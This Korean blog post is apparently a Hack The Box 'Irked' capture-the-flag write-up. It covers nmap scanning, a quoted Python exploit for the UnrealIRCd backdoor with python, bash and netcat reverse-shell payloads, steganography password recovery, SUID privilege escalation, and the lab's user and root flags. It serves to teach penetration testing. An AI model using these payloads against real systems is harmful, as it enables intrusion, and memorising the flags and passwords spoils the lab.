ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HTB] Irked Writeup
    Wargame/Hack The Box 2022. 2. 7. 22:44

    nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.1.108

    80포트에는 이미지 파일만이 존재했다.

     

    다른 취약점이 있나 확인해보았다.

    nmap --script vuln 10.129.1.108 -p 22,80,111,6697,8067,50193,65534 -o nmapVulnScanResult.txt

    8067 포트의 unrealircd backdoor 취약점을 통해 공략해보기로 했다. 관련해서 구글링을 하다가 아래 레퍼런스를 발견했다.

    https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor

     

    GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor script for a vulnerable version of UnrealIRCd

    My backdoor script for a vulnerable version of UnrealIRCd - GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor script for a vulnerable version of UnrealIRCd

    github.com

    #!/usr/bin/python3
    import argparse
    import socket
    import base64
    
    # Sets the target ip and port from argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('ip', help='target ip')
    parser.add_argument('port', help='target port', type=int)
    parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])
    args = parser.parse_args()
    
    # Sets the local ip and port (address and port to listen on)
    local_ip = '10.10.14.114'  # CHANGE THIS
    local_port = '1234'  # CHANGE THIS 
    
    # The different types of payloads that are supported
    python_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\'{local_ip}\';EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');QRRCCltJB.close();" '
    bash_payload = f'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1'
    netcat_payload = f'nc -e /bin/bash {local_ip} {local_port}'
    
    # our socket to interact with and send payload
    try:
        s = socket.create_connection((args.ip, args.port))
    except socket.error as error:
        print('connection to target failed...')
        print(error)
        
    # craft out payload and then it gets base64 encoded
    def gen_payload(payload_type):
        base = base64.b64encode(payload_type.encode())
        return f'echo {base.decode()} |base64 -d|/bin/bash'
    
    # all the different payload options to be sent
    if args.payload == 'python':
        try:
            s.sendall((f'AB; {gen_payload(python_payload)} \n').encode())
        except:
            print('connection made, but failed to send exploit...')
    
    if args.payload == 'netcat':
        try:
            s.sendall((f'AB; {gen_payload(netcat_payload)} \n').encode())
        except:
            print('connection made, but failed to send exploit...')
    
    if args.payload == 'bash':
        try:
            s.sendall((f'AB; {gen_payload(bash_payload)} \n').encode())
        except:
            print('connection made, but failed to send exploit...')
        
    #check display any response from the server
    data = s.recv(1024)
    s.close()
    if data != '':
        print('Exploit sent successfully!')

     

    nc -nvlp 1234
    python3 exploit.py -payload python 10.129.241.203 8067

    쉘 획득 후 서버를 조사하던 중 .bash_history 파일에서 아래와 같은 정보를 얻었다.

    얻은 정보를 기반으로 아래와 같은 정보를 얻을 수 있었다.

    Super elite steg backup pw
    UPupDOWNdownLRlrBAbaSSss

     

    steg 라는 언급이 있어서 steganography를 떠올렸고, 80포트의 이미지가 생각나서 숨겨진 데이터를 추출해보았다.

    wget http://10.129.1.108/irked.jpg
    steghide extract -sf irked.jpg
    UPupDOWNdownLRlrBAbaSSss

    그 결과 아래의 데이터를 획득 할 수 있었고 이는 djmardov 계정의 패스워드였다.

    Kab6h+m+bbp2J:HG
    
    su djmardov

    권한 상승을 위해 서버 정보를 조사해보았다.

    uname -a

    그 후 OS자체 취약점을 활용하여 권한 상승을 시도해보았지만 실패했고,

    https://github.com/mzet-/linux-exploit-suggester

     

    GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

    Linux privilege escalation auditing tool. Contribute to mzet-/linux-exploit-suggester development by creating an account on GitHub.

    github.com

     

    setuid가 설정되어있는 파일을 통해 권한 상승을 시도해보기로했다.

    find / -perm -u=s -type f 2>/dev/null

    suid 설정되어있는 실행파일 중 /usr/bin/viewuser가 수상하여 실행시켜봤더니 /tmp/listusers 파일을 호출함을 알 수 있었고 아래 과정을 통해 루트권한의 리버스쉘을 획득 할 수 있었다.

     

    FLAG =

    [user] 4a66a78b12dc0e661a59d3f5c0267a8e

    [root] 8d8e9e8be64654b6dccc3bff4522daf3

     

    반응형

    'Wargame > Hack The Box' 카테고리의 다른 글

    [HTB] FreindZone Writeup  (0) 2022.02.16
    [HTB] Networked Writeup  (0) 2022.02.09
    [HTB] Sunday Writeup  (0) 2022.02.06
    [HTB] Bounty Writeup  (0) 2022.02.05
    [HTB] Devel Writeup  (0) 2022.02.03

    댓글

Designed by Tistory.